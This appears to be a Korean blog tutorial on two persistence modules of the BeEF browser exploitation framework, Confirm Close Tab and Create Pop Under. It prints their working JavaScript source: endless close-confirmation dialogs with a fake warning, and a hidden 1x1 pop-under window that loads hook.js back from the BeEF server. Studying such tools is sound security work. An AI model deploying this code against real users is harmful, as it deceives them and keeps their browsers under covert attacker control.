Open Source/Kali Linux

BeEF On Kali Linux - Commands탭 Persistence 카테고리

DarkSoul.Story 2013. 11. 8. 04:50
반응형



BeEF는 hook.js가 삽입된 페이지에서 다른 페이지를 이동하거나, hook.js가 삽입되어 있는 브라우저를 종료할 경우 연결이 종료된다는 단점이 존재한다. 이러한 단점을 조금이나마 보강 하기 위해 Persistence 카테고리가 존재한다. Persistence를 사전에서 찾아보면 (없어지지 않고 오래 동안) 지속됨이라는 뜻을 가지고있다. 사전적 의미 그대로 Persistence 카테고리는 BeEF와 Hooked Browser의 연결을 조금이라도 오래 연결 할 수 있도록 하는 모듈로 구성된 카테고리이다. BeEF 0.4.4.5-alpha를 기준으로 4개의 모듈로 구성되어 있다. 여기서는 2가지 모듈을 살펴보면서, Persistence 카테고리가 어떤 용도로 사용되는지 알아본다.


1. Confirm Close Tab


Confirm Close Tab 모듈은 브라우저의 모든 탭을 닫으려고 할 때 또는 브라우저를 종료하려고 할때 사용자에게 경고성 메시지가 포함된 대화 상자를 띄운다. 대화 상자에는 종료는 하고자 한다면, [확인]을 클릭하라고 되어 있다. 사용자는 대화 상자 및 브라우저를 종료 하기 위해 [확인]을 클릭하면, 다시 동일한 메시지를 포함한 대화 상자를 띄운다. 이렇게 계속 [확인]을 클릭하면, 지속적으로 동일한 내용의 대화 상자를 띄우게 된다. Confirm Close Tab 모듈은 인터넷익스플러에서는 정상 동작하나, 오페라 브라우저는 12버전 이하에서는 동작하지않는다. 


Confirm Close Tab 모듈을 사용하기 위해서는 Commands 탭에서 Persistence카테고리에 존재하는 Confirm Close Tab를 선택한다. Confirm Close Tab모듈을 선택하면, 오른쪽 하단에 [Execute] 버튼이 활성화 된다.



[Execute] 버튼을 클릭하면, [Module Results History]에 아래와 같이 command가 생성된다. 


생성된 command를 클릭하면, 모듈의 command가 실행된다. command가 성공적으로 실행되었다면, 아래와 같이 Command results에 모듈이 성공적으로 실행되었다는 메시지를 출력한다. 


모듈이 정상적으로 실행되었으면, Hooked Browser에서 브라우저를 종료하게 되면 아래와 같이 대화 상자가 나타나게 된다. (참고 : 필자는 대화 상자의 메시지를 조금 수정하였다.)




종료하기 위해 [확인]을 클릭하면, 동일 대화 상자를 또 다시 띄운다. 위와 같은 상황에서 [취소]를 클릭할 경우 아래와 같은 대화 상자를 띄운다.


여기서 [확인]을 클릭할 경우 브라우저는 종료가 되며, [취소]를 클릭할 경우 대화 상자만 종료된다.


아래는 Confirm Close Tab 모듈의 command 소스코드이다. Confirm Close Tab 모듈의 핵심은window.onbeforeunload 이다. window.onbeforeunload를 이용하여, 브라우저를 종료를 확인한다. 브라우저가 종료되면, window.onbeforeunload에 의해 confirm() 함수가 동작하여, 최초의 대화 상자를 띄운다. 대대화 상자가 나타나면 [확인]을 클릭하는지 [취소]를 클릭하는지 window.event를 이용하여 키 이벤트를 확인한다. [확인]을 클릭하면 다시 confirm() 함수가 동작되하여 지속적으로 대화 상자를 띄운다. 


beef.execute(function() {

 
    function display_confirm(){

        if(confirm("Are you sure you want to navigate away from this page?\n\n There is currently a 
request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to 
continue, or Cancel to stay on the current page.")){

            display_confirm();

        }

    }

 
    function dontleave(e){

        e = e || window.event;

 
        if(beef.browser.isIE()){

            e.cancelBubble = true;

            e.returnValue = "There is currently a request to the server pending. You will lose recent 
changes by navigating away.";

        }else{

            if (e.stopPropagation) {

                e.stopPropagation();

                e.preventDefault();

                e.returnValue = "There is currently a request to the server pending. You will lose recent 
changes by navigating away.";

            }

        }
 
        display_confirm();

        return "There is currently a request to the server pending. You will lose recent changes 
by navigating away.";

    } 
    window.onbeforeunload = dontleave;

 
        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Module executed successfully');

});


2. Create Pop Under

Create Pop Under 모듈은 Hooked Browser에서 hook.js가 실행되고 있는 브라우저 창 뒤에 사용자 모르게 다른 브라우저창을 띄우는 모듈이다. 

Create Pop Under 모듈을 사용하기 위해서는 Commands 탭에서 Persistence카테고리에 존재하는 Create Pop Under를 선택한다. Create Pop Under 모듈을 선택하면, 오른쪽 하단에 [Execute] 버튼이 활성화 된다. 


[Execute] 버튼을 클릭하면, [Module Results History]에 아래와 같이 command가 생성된다. 


생성된 command를 클릭하면, 모듈의 command가 실행된다. command가 성공적으로 실행되었다면, 아래와 같이 Command results에 성공적으로 브라우저 창을 만들었다는 메시지를 출력한다.

모듈이 정상적으로 실행 되었으면, Hooked Browser에서 hook.js가 실행되고 있는 브라우저 창 뒤에 아래와 같이 새로운 창이 띄워져 있는것을 확인할 수 있다. (참고 : 이해를 돕기 위해 필자는 새로 뜨는 브라우저 창의 페이지 내용을 조금 수정하였다. 페이지 내용을 수정하지 않은 원본에서는 글자가 하나도 없이 그냥 하얀 창만 나타난다.)

hook.js가 실행되고 있는 브라우저 창 뒤에 새로운 브라우저 창이 띄워지면, 아래와 같이 BeEF의 Hooked Browsers 부분에 새로운 트리로 생성된다.

아래는 Create Pop Under 모듈의 command 소스코드이다. window.open()와 .blur()를 이용하여, /demos/plain.htm 페이지를 현재 실행되고 있는 브라우저 뒤에 띄운다. window.open()는 새로운 브라우저창을 띄우는 역할을 하며, .blur()는 현재 실행되고 있는 브라우저 뒤에 새로운 창이 뜨도록 도와준다. 하지만 새로운 창이 현재 실행되고 있는 브라우저 뒤에 뜨게되면 작업 표시줄에 (윈도우인 경우) 뒤에 뜬 새로운 브라우저가 깜빡거려 눈치 챌 수 있기 때문에 window.focus()를 이용해 hook.js가 실행되고 있는 브라우저 앞쪽으로 오도록 한다. window.focus()를 이용 앞쪽으로 오도록 하는 이유는 hook.js가 삽입도어 있는 브라우저 뒤에 새로운 브라우저 창은 hook.js가 삽입된 브라우저 창에 의해 가려져있기 때문에 보이지 않게 된다.     

beef.execute(function() {

 
        var result = "Pop-under window successfully created!";

 
        window.open('http://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html','popunder',
'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,
left='+screen.width+',top='+screen.height+'').blur();

 
        window.focus();

 
        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);

});


아래는 plain.htm 페이지의 내용이다. plain.htm 페이지가 뜨게 되면, 자동적으로 hook.js가 실행되겠끔 스크립트로 되어 있다.

<script>

var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + 
'/hook.js" type="text/javascript"><\/script>';

document.write(commandModuleStr);

</script>



반응형